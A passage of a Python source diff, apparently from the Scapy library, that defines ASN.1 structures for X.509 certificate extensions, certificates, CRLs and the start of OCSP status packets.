ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_STRING("keyIdentifier", b"\xff" * 20, + implicit_tag=0x80)), + ASN1F_optional( + ASN1F_SEQUENCE_OF("authorityCertIssuer", None, + X509_GeneralName, + implicit_tag=0xa1)), + ASN1F_optional( + ASN1F_INTEGER("authorityCertSerialNumber", None, + implicit_tag=0x82))) + + +class X509_ExtSubjectDirectoryAttributes(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("subjectDirectoryAttributes", + [X509_Attribute()], + X509_Attribute) + + +class X509_ExtSubjectKeyIdentifier(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_STRING("keyIdentifier", "xff" * 20) + + +class X509_ExtFullName(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("fullName", [X509_GeneralName()], + X509_GeneralName, implicit_tag=0xa0) + + +class X509_ExtNameRelativeToCRLIssuer(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_PACKET("nameRelativeToCRLIssuer", X509_RDN(), X509_RDN, + implicit_tag=0xa1) + + +class X509_ExtDistributionPointName(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_CHOICE("distributionPointName", None, + X509_ExtFullName, X509_ExtNameRelativeToCRLIssuer) + + +_reasons_mapping = ["unused", + "keyCompromise", + "cACompromise", + "affiliationChanged", + "superseded", + "cessationOfOperation", + "certificateHold", + "privilegeWithdrawn", + "aACompromise"] + + +class X509_ExtDistributionPoint(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_PACKET("distributionPoint", + X509_ExtDistributionPointName(), + X509_ExtDistributionPointName, + explicit_tag=0xa0)), + ASN1F_optional( + ASN1F_FLAGS("reasons", None, _reasons_mapping, + implicit_tag=0x81)), + ASN1F_optional( + ASN1F_SEQUENCE_OF("cRLIssuer", None, + X509_GeneralName, + implicit_tag=0xa2))) + + +_ku_mapping = ["digitalSignature", + "nonRepudiation", + "keyEncipherment", + "dataEncipherment", + "keyAgreement", + "keyCertSign", + "cRLSign", + "encipherOnly", + "decipherOnly"] + + +class X509_ExtKeyUsage(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_FLAGS("keyUsage", "101", _ku_mapping) + + def get_keyUsage(self): + return self.ASN1_root.get_flags(self) + + +class X509_ExtPrivateKeyUsagePeriod(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_GENERALIZED_TIME("notBefore", + str(GeneralizedTime(-600)), + implicit_tag=0x80)), + ASN1F_optional( + ASN1F_GENERALIZED_TIME("notAfter", + str(GeneralizedTime(+86400)), + implicit_tag=0x81))) + + +class X509_PolicyMapping(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("issuerDomainPolicy", None), + ASN1F_OID("subjectDomainPolicy", None)) + + +class X509_ExtPolicyMappings(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("policyMappings", [], X509_PolicyMapping) + + +class X509_ExtBasicConstraints(ASN1_Packet): + # The cA field should not be optional, but some certs omit it for False. + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_BOOLEAN("cA", False)), + ASN1F_optional( + ASN1F_INTEGER("pathLenConstraint", None))) + + +class X509_ExtCRLNumber(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_INTEGER("cRLNumber", 0) + + +_cRL_reasons = ["unspecified", + "keyCompromise", + "cACompromise", + "affiliationChanged", + "superseded", + "cessationOfOperation", + "certificateHold", + "unused_reasonCode", + "removeFromCRL", + "privilegeWithdrawn", + "aACompromise"] + + +class X509_ExtReasonCode(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_ENUMERATED("cRLReason", 0, _cRL_reasons) + + +class X509_ExtDeltaCRLIndicator(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_INTEGER("deltaCRLIndicator", 0) + + +class X509_ExtIssuingDistributionPoint(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_PACKET("distributionPoint", + X509_ExtDistributionPointName(), + X509_ExtDistributionPointName, + explicit_tag=0xa0)), + ASN1F_BOOLEAN("onlyContainsUserCerts", False, + implicit_tag=0x81), + ASN1F_BOOLEAN("onlyContainsCACerts", False, + implicit_tag=0x82), + ASN1F_optional( + ASN1F_FLAGS("onlySomeReasons", None, + _reasons_mapping, + implicit_tag=0x83)), + ASN1F_BOOLEAN("indirectCRL", False, + implicit_tag=0x84), + ASN1F_BOOLEAN("onlyContainsAttributeCerts", False, + implicit_tag=0x85)) + + +class X509_ExtCertificateIssuer(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("certificateIssuer", [], X509_GeneralName) + + +class X509_ExtInvalidityDate(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_GENERALIZED_TIME("invalidityDate", str(ZuluTime(+86400))) + + +class X509_ExtSubjectAltName(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("subjectAltName", [], X509_GeneralName) + + +class X509_ExtIssuerAltName(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("issuerAltName", [], X509_GeneralName) + + +class X509_ExtGeneralSubtree(ASN1_Packet): + # 'minimum' is not optional in RFC 5280, yet it is in some implementations. + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_PACKET("base", X509_GeneralName(), X509_GeneralName), + ASN1F_optional( + ASN1F_INTEGER("minimum", None, implicit_tag=0x80)), + ASN1F_optional( + ASN1F_INTEGER("maximum", None, implicit_tag=0x81))) + + +class X509_ExtNameConstraints(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_SEQUENCE_OF("permittedSubtrees", None, + X509_ExtGeneralSubtree, + implicit_tag=0xa0)), + ASN1F_optional( + ASN1F_SEQUENCE_OF("excludedSubtrees", None, + X509_ExtGeneralSubtree, + implicit_tag=0xa1))) + + +class X509_ExtPolicyConstraints(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_INTEGER("requireExplicitPolicy", None, + implicit_tag=0x80)), + ASN1F_optional( + ASN1F_INTEGER("inhibitPolicyMapping", None, + implicit_tag=0x81))) + + +class X509_ExtExtendedKeyUsage(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("extendedKeyUsage", [], ASN1P_OID) + + def get_extendedKeyUsage(self): + eku_array = self.extendedKeyUsage + return [eku.oid.oidname for eku in eku_array] + + +class X509_ExtNoticeReference(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_CHOICE("organization", + ASN1_UTF8_STRING("Dummy Organization"), + ASN1F_IA5_STRING, ASN1F_ISO646_STRING, + ASN1F_BMP_STRING, ASN1F_UTF8_STRING), + ASN1F_SEQUENCE_OF("noticeNumbers", [], ASN1P_INTEGER)) + + +class X509_ExtUserNotice(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_PACKET("noticeRef", None, + X509_ExtNoticeReference)), + ASN1F_optional( + ASN1F_CHOICE("explicitText", + ASN1_UTF8_STRING("Dummy ExplicitText"), + ASN1F_IA5_STRING, ASN1F_ISO646_STRING, + ASN1F_BMP_STRING, ASN1F_UTF8_STRING))) + + +class X509_ExtPolicyQualifierInfo(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("policyQualifierId", "1.3.6.1.5.5.7.2.1"), + ASN1F_CHOICE("qualifier", ASN1_IA5_STRING("cps_str"), + ASN1F_IA5_STRING, X509_ExtUserNotice)) + + +class X509_ExtPolicyInformation(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("policyIdentifier", "2.5.29.32.0"), + ASN1F_optional( + ASN1F_SEQUENCE_OF("policyQualifiers", None, + X509_ExtPolicyQualifierInfo))) + + +class X509_ExtCertificatePolicies(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("certificatePolicies", + [X509_ExtPolicyInformation()], + X509_ExtPolicyInformation) + + +class X509_ExtCRLDistributionPoints(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("cRLDistributionPoints", + [X509_ExtDistributionPoint()], + X509_ExtDistributionPoint) + + +class X509_ExtInhibitAnyPolicy(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_INTEGER("skipCerts", 0) + + +class X509_ExtFreshestCRL(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("cRLDistributionPoints", + [X509_ExtDistributionPoint()], + X509_ExtDistributionPoint) + + +class X509_AccessDescription(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("accessMethod", "0"), + ASN1F_PACKET("accessLocation", X509_GeneralName(), + X509_GeneralName)) + + +class X509_ExtAuthInfoAccess(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("authorityInfoAccess", + [X509_AccessDescription()], + X509_AccessDescription) + + +class X509_ExtQcStatement(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("statementId", "0.4.0.1862.1.1"), + ASN1F_optional( + ASN1F_field("statementInfo", None))) + + +class X509_ExtQcStatements(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("qcStatements", + [X509_ExtQcStatement()], + X509_ExtQcStatement) + + +class X509_ExtSubjInfoAccess(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE_OF("subjectInfoAccess", + [X509_AccessDescription()], + X509_AccessDescription) + + +class X509_ExtNetscapeCertType(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_BIT_STRING("netscapeCertType", "") + + +class X509_ExtComment(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_CHOICE("comment", + ASN1_UTF8_STRING("Dummy comment."), + ASN1F_IA5_STRING, ASN1F_ISO646_STRING, + ASN1F_BMP_STRING, ASN1F_UTF8_STRING) + + +class X509_ExtDefault(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_field("value", None) + + +# oid-info.com shows that some extensions share multiple OIDs. +# Here we only reproduce those written in RFC5280. +_ext_mapping = { + "2.5.29.9": X509_ExtSubjectDirectoryAttributes, + "2.5.29.14": X509_ExtSubjectKeyIdentifier, + "2.5.29.15": X509_ExtKeyUsage, + "2.5.29.16": X509_ExtPrivateKeyUsagePeriod, + "2.5.29.17": X509_ExtSubjectAltName, + "2.5.29.18": X509_ExtIssuerAltName, + "2.5.29.19": X509_ExtBasicConstraints, + "2.5.29.20": X509_ExtCRLNumber, + "2.5.29.21": X509_ExtReasonCode, + "2.5.29.24": X509_ExtInvalidityDate, + "2.5.29.27": X509_ExtDeltaCRLIndicator, + "2.5.29.28": X509_ExtIssuingDistributionPoint, + "2.5.29.29": X509_ExtCertificateIssuer, + "2.5.29.30": X509_ExtNameConstraints, + "2.5.29.31": X509_ExtCRLDistributionPoints, + "2.5.29.32": X509_ExtCertificatePolicies, + "2.5.29.33": X509_ExtPolicyMappings, + "2.5.29.35": X509_ExtAuthorityKeyIdentifier, + "2.5.29.36": X509_ExtPolicyConstraints, + "2.5.29.37": X509_ExtExtendedKeyUsage, + "2.5.29.46": X509_ExtFreshestCRL, + "2.5.29.54": X509_ExtInhibitAnyPolicy, + "2.16.840.1.113730.1.1": X509_ExtNetscapeCertType, + "2.16.840.1.113730.1.13": X509_ExtComment, + "1.3.6.1.5.5.7.1.1": X509_ExtAuthInfoAccess, + "1.3.6.1.5.5.7.1.3": X509_ExtQcStatements, + "1.3.6.1.5.5.7.1.11": X509_ExtSubjInfoAccess +} + + +class ASN1F_EXT_SEQUENCE(ASN1F_SEQUENCE): + # We use explicit_tag=0x04 with extnValue as STRING encapsulation. + def __init__(self, **kargs): + seq = [ASN1F_OID("extnID", "2.5.29.19"), + ASN1F_optional( + ASN1F_BOOLEAN("critical", False)), + ASN1F_PACKET("extnValue", + X509_ExtBasicConstraints(), + X509_ExtBasicConstraints, + explicit_tag=0x04)] + ASN1F_SEQUENCE.__init__(self, *seq, **kargs) + + def dissect(self, pkt, s): + _, s = BER_tagging_dec(s, implicit_tag=self.implicit_tag, + explicit_tag=self.explicit_tag, + safe=self.flexible_tag) + codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) + i, s, remain = codec.check_type_check_len(s) + extnID = self.seq[0] + critical = self.seq[1] + try: + oid, s = extnID.m2i(pkt, s) + extnID.set_val(pkt, oid) + s = critical.dissect(pkt, s) + encapsed = X509_ExtDefault + if oid.val in _ext_mapping: + encapsed = _ext_mapping[oid.val] + self.seq[2].cls = encapsed + self.seq[2].cls.ASN1_root.flexible_tag = True + # there are too many private extensions not to be flexible here + self.seq[2].default = encapsed() + s = self.seq[2].dissect(pkt, s) + if not self.flexible_tag and len(s) > 0: + err_msg = "extension sequence length issue" + raise BER_Decoding_Error(err_msg, remaining=s) + except ASN1F_badsequence: + raise Exception("could not parse extensions") + return remain + + +class X509_Extension(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_EXT_SEQUENCE() + + +class X509_Extensions(ASN1_Packet): + # we use this in OCSP status requests, in tls/handshake.py + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_optional( + ASN1F_SEQUENCE_OF("extensions", + None, X509_Extension)) + + +# Public key wrapper # + +class X509_AlgorithmIdentifier(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_OID("algorithm", "1.2.840.113549.1.1.11"), + ASN1F_optional( + ASN1F_CHOICE("parameters", ASN1_NULL(0), + ASN1F_NULL, ECParameters))) + + +class ASN1F_X509_SubjectPublicKeyInfoRSA(ASN1F_SEQUENCE): + def __init__(self, **kargs): + seq = [ASN1F_PACKET("signatureAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_BIT_STRING_ENCAPS("subjectPublicKey", + RSAPublicKey(), + RSAPublicKey)] + ASN1F_SEQUENCE.__init__(self, *seq, **kargs) + + +class ASN1F_X509_SubjectPublicKeyInfoECDSA(ASN1F_SEQUENCE): + def __init__(self, **kargs): + seq = [ASN1F_PACKET("signatureAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_PACKET("subjectPublicKey", ECDSAPublicKey(), + ECDSAPublicKey)] + ASN1F_SEQUENCE.__init__(self, *seq, **kargs) + + +class ASN1F_X509_SubjectPublicKeyInfo(ASN1F_SEQUENCE): + def __init__(self, **kargs): + seq = [ASN1F_PACKET("signatureAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_BIT_STRING("subjectPublicKey", None)] + ASN1F_SEQUENCE.__init__(self, *seq, **kargs) + + def m2i(self, pkt, x): + c, s = ASN1F_SEQUENCE.m2i(self, pkt, x) + keytype = pkt.fields["signatureAlgorithm"].algorithm.oidname + if "rsa" in keytype.lower(): + return ASN1F_X509_SubjectPublicKeyInfoRSA().m2i(pkt, x) + elif keytype == "ecPublicKey": + return ASN1F_X509_SubjectPublicKeyInfoECDSA().m2i(pkt, x) + else: + raise Exception("could not parse subjectPublicKeyInfo") + + def dissect(self, pkt, s): + c, x = self.m2i(pkt, s) + return x + + def build(self, pkt): + if "signatureAlgorithm" in pkt.fields: + ktype = pkt.fields['signatureAlgorithm'].algorithm.oidname + else: + ktype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname + if "rsa" in ktype.lower(): + pkt.default_fields["subjectPublicKey"] = RSAPublicKey() + return ASN1F_X509_SubjectPublicKeyInfoRSA().build(pkt) + elif ktype == "ecPublicKey": + pkt.default_fields["subjectPublicKey"] = ECDSAPublicKey() + return ASN1F_X509_SubjectPublicKeyInfoECDSA().build(pkt) + else: + raise Exception("could not build subjectPublicKeyInfo") + + +class X509_SubjectPublicKeyInfo(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_X509_SubjectPublicKeyInfo() + + +# OpenSSL compatibility wrappers # + +# XXX As ECDSAPrivateKey already uses the structure from RFC 5958, +# and as we would prefer encapsulated RSA private keys to be parsed, +# this lazy implementation actually supports RSA encoding only. +# We'd rather call it RSAPrivateKey_OpenSSL than X509_PrivateKeyInfo. +class RSAPrivateKey_OpenSSL(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_enum_INTEGER("version", 0, ["v1", "v2"]), + ASN1F_PACKET("privateKeyAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_PACKET("privateKey", + RSAPrivateKey(), + RSAPrivateKey, + explicit_tag=0x04), + ASN1F_optional( + ASN1F_PACKET("parameters", None, ECParameters, + explicit_tag=0xa0)), + ASN1F_optional( + ASN1F_PACKET("publicKey", None, + ECDSAPublicKey, + explicit_tag=0xa1))) + +# We need this hack because ECParameters parsing below must return +# a Padding payload, and making the ASN1_Packet class have Padding +# instead of Raw payload would break things... + + +class _PacketFieldRaw(PacketField): + def getfield(self, pkt, s): + i = self.m2i(pkt, s) + remain = "" + if conf.raw_layer in i: + r = i[conf.raw_layer] + del(r.underlayer.payload) + remain = r.load + return remain, i + + +class ECDSAPrivateKey_OpenSSL(Packet): + name = "ECDSA Params + Private Key" + fields_desc = [_PacketFieldRaw("ecparam", + ECParameters(), + ECParameters), + PacketField("privateKey", + ECDSAPrivateKey(), + ECDSAPrivateKey)] + + +# TBSCertificate & Certificate # + +_default_issuer = [ + X509_RDN(), + X509_RDN( + rdn=[X509_AttributeTypeAndValue( + type="2.5.4.10", + value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), + X509_RDN( + rdn=[X509_AttributeTypeAndValue( + type="2.5.4.3", + value=ASN1_PRINTABLE_STRING("Scapy Default Issuer"))]) +] + +_default_subject = [ + X509_RDN(), + X509_RDN( + rdn=[X509_AttributeTypeAndValue( + type="2.5.4.10", + value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), + X509_RDN( + rdn=[X509_AttributeTypeAndValue( + type="2.5.4.3", + value=ASN1_PRINTABLE_STRING("Scapy Default Subject"))]) +] + + +class X509_Validity(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_CHOICE("not_before", + ASN1_UTC_TIME(str(ZuluTime(-600))), + ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME), + ASN1F_CHOICE("not_after", + ASN1_UTC_TIME(str(ZuluTime(+86400))), + ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME)) + + +_attrName_mapping = [ + ("countryName", "C"), + ("stateOrProvinceName", "ST"), + ("localityName", "L"), + ("organizationName", "O"), + ("organizationUnitName", "OU"), + ("commonName", "CN") +] +_attrName_specials = [name for name, symbol in _attrName_mapping] + + +class X509_TBSCertificate(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_enum_INTEGER("version", 0x2, ["v1", "v2", "v3"], + explicit_tag=0xa0)), + ASN1F_INTEGER("serialNumber", 1), + ASN1F_PACKET("signature", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_SEQUENCE_OF("issuer", _default_issuer, X509_RDN), + ASN1F_PACKET("validity", + X509_Validity(), + X509_Validity), + ASN1F_SEQUENCE_OF("subject", _default_subject, X509_RDN), + ASN1F_PACKET("subjectPublicKeyInfo", + X509_SubjectPublicKeyInfo(), + X509_SubjectPublicKeyInfo), + ASN1F_optional( + ASN1F_BIT_STRING("issuerUniqueID", None, + implicit_tag=0x81)), + ASN1F_optional( + ASN1F_BIT_STRING("subjectUniqueID", None, + implicit_tag=0x82)), + ASN1F_optional( + ASN1F_SEQUENCE_OF("extensions", + [X509_Extension()], + X509_Extension, + explicit_tag=0xa3))) + + def get_issuer(self): + attrs = self.issuer + attrsDict = {} + for attr in attrs: + # we assume there is only one name in each rdn ASN1_SET + attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val) # noqa: E501 + return attrsDict + + def get_issuer_str(self): + """ + Returns a one-line string containing every type/value + in a rather specific order. sorted() built-in ensures unicity. + """ + name_str = "" + attrsDict = self.get_issuer() + for attrType, attrSymbol in _attrName_mapping: + if attrType in attrsDict: + name_str += "/" + attrSymbol + "=" + name_str += attrsDict[attrType] + for attrType in sorted(attrsDict): + if attrType not in _attrName_specials: + name_str += "/" + attrType + "=" + name_str += attrsDict[attrType] + return name_str + + def get_subject(self): + attrs = self.subject + attrsDict = {} + for attr in attrs: + # we assume there is only one name in each rdn ASN1_SET + attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val) # noqa: E501 + return attrsDict + + def get_subject_str(self): + name_str = "" + attrsDict = self.get_subject() + for attrType, attrSymbol in _attrName_mapping: + if attrType in attrsDict: + name_str += "/" + attrSymbol + "=" + name_str += attrsDict[attrType] + for attrType in sorted(attrsDict): + if attrType not in _attrName_specials: + name_str += "/" + attrType + "=" + name_str += attrsDict[attrType] + return name_str + + +class ASN1F_X509_CertECDSA(ASN1F_SEQUENCE): + def __init__(self, **kargs): + seq = [ASN1F_PACKET("tbsCertificate", + X509_TBSCertificate(), + X509_TBSCertificate), + ASN1F_PACKET("signatureAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_BIT_STRING_ENCAPS("signatureValue", + ECDSASignature(), + ECDSASignature)] + ASN1F_SEQUENCE.__init__(self, *seq, **kargs) + + +class ASN1F_X509_Cert(ASN1F_SEQUENCE): + def __init__(self, **kargs): + seq = [ASN1F_PACKET("tbsCertificate", + X509_TBSCertificate(), + X509_TBSCertificate), + ASN1F_PACKET("signatureAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_BIT_STRING("signatureValue", + "defaultsignature" * 2)] + ASN1F_SEQUENCE.__init__(self, *seq, **kargs) + + def m2i(self, pkt, x): + c, s = ASN1F_SEQUENCE.m2i(self, pkt, x) + sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname + if "rsa" in sigtype.lower(): + return c, s + elif "ecdsa" in sigtype.lower(): + return ASN1F_X509_CertECDSA().m2i(pkt, x) + else: + raise Exception("could not parse certificate") + + def dissect(self, pkt, s): + c, x = self.m2i(pkt, s) + return x + + def build(self, pkt): + if "signatureAlgorithm" in pkt.fields: + sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname + else: + sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname # noqa: E501 + if "rsa" in sigtype.lower(): + return ASN1F_SEQUENCE.build(self, pkt) + elif "ecdsa" in sigtype.lower(): + pkt.default_fields["signatureValue"] = ECDSASignature() + return ASN1F_X509_CertECDSA().build(pkt) + else: + raise Exception("could not build certificate") + + +class X509_Cert(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_X509_Cert() + + +# TBSCertList & CRL # + +class X509_RevokedCertificate(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE(ASN1F_INTEGER("serialNumber", 1), + ASN1F_UTC_TIME("revocationDate", + str(ZuluTime(+86400))), + ASN1F_optional( + ASN1F_SEQUENCE_OF("crlEntryExtensions", + None, X509_Extension))) + + +class X509_TBSCertList(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_optional( + ASN1F_enum_INTEGER("version", 1, ["v1", "v2"])), + ASN1F_PACKET("signature", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_SEQUENCE_OF("issuer", _default_issuer, X509_RDN), + ASN1F_UTC_TIME("this_update", str(ZuluTime(-1))), + ASN1F_optional( + ASN1F_UTC_TIME("next_update", None)), + ASN1F_optional( + ASN1F_SEQUENCE_OF("revokedCertificates", None, + X509_RevokedCertificate)), + ASN1F_optional( + ASN1F_SEQUENCE_OF("crlExtensions", None, + X509_Extension, + explicit_tag=0xa0))) + + def get_issuer(self): + attrs = self.issuer + attrsDict = {} + for attr in attrs: + # we assume there is only one name in each rdn ASN1_SET + attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val) # noqa: E501 + return attrsDict + + def get_issuer_str(self): + """ + Returns a one-line string containing every type/value + in a rather specific order. sorted() built-in ensures unicity. + """ + name_str = "" + attrsDict = self.get_issuer() + for attrType, attrSymbol in _attrName_mapping: + if attrType in attrsDict: + name_str += "/" + attrSymbol + "=" + name_str += attrsDict[attrType] + for attrType in sorted(attrsDict): + if attrType not in _attrName_specials: + name_str += "/" + attrType + "=" + name_str += attrsDict[attrType] + return name_str + + +class ASN1F_X509_CRLECDSA(ASN1F_SEQUENCE): + def __init__(self, **kargs): + seq = [ASN1F_PACKET("tbsCertList", + X509_TBSCertList(), + X509_TBSCertList), + ASN1F_PACKET("signatureAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_BIT_STRING_ENCAPS("signatureValue", + ECDSASignature(), + ECDSASignature)] + ASN1F_SEQUENCE.__init__(self, *seq, **kargs) + + +class ASN1F_X509_CRL(ASN1F_SEQUENCE): + def __init__(self, **kargs): + seq = [ASN1F_PACKET("tbsCertList", + X509_TBSCertList(), + X509_TBSCertList), + ASN1F_PACKET("signatureAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_BIT_STRING("signatureValue", + "defaultsignature" * 2)] + ASN1F_SEQUENCE.__init__(self, *seq, **kargs) + + def m2i(self, pkt, x): + c, s = ASN1F_SEQUENCE.m2i(self, pkt, x) + sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname + if "rsa" in sigtype.lower(): + return c, s + elif "ecdsa" in sigtype.lower(): + return ASN1F_X509_CRLECDSA().m2i(pkt, x) + else: + raise Exception("could not parse certificate") + + def dissect(self, pkt, s): + c, x = self.m2i(pkt, s) + return x + + def build(self, pkt): + if "signatureAlgorithm" in pkt.fields: + sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname + else: + sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname # noqa: E501 + if "rsa" in sigtype.lower(): + return ASN1F_SEQUENCE.build(self, pkt) + elif "ecdsa" in sigtype.lower(): + pkt.default_fields["signatureValue"] = ECDSASignature() + return ASN1F_X509_CRLECDSA().build(pkt) + else: + raise Exception("could not build certificate") + + +class X509_CRL(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_X509_CRL() + + +############################# +# OCSP Status packets # +############################# +# based on RFC 6960 + +class OCSP_CertID(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_PACKET("hashAlgorithm", + X509_AlgorithmIdentifier(), + X509_AlgorithmIdentifier), + ASN1F_STRING("issuerNameHash", ""), + ASN1F_STRING("issuerKeyHash", ""), + ASN1F_INTEGER("serialNumber", 0)) + + +class OCSP_GoodInfo(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_NULL("info", 0) + + +class OCSP_RevokedInfo(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_GENERALIZED_TIME("revocationTime", ""), + ASN1F_optional( + ASN1F_PACKET("revocationReason", None, + X509_ExtReasonCode, + explicit_tag=0x80))) + + +class OCSP_UnknownInfo(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_NULL("info", 0) + + +class OCSP_CertStatus(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_CHOICE("certStatus", None, + ASN1F_PACKET("good", OCSP_GoodInfo(), + OCSP_GoodInfo, implicit_tag=0x80), + ASN1F_PACKET("revoked", OCSP_RevokedInfo(), + OCSP_RevokedInfo, implicit_tag=0xa1), + ASN1F_PACKET("unknown", OCSP_UnknownInfo(), + OCSP_UnknownInfo, implicit_tag=0x82)) + + +class OCSP_SingleResponse(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_PACKET("certID", OCSP_CertID(), OCSP_CertID), + ASN1F_PACKET("certStatus", OCSP_CertStatus(), + OCSP_CertStatus), + 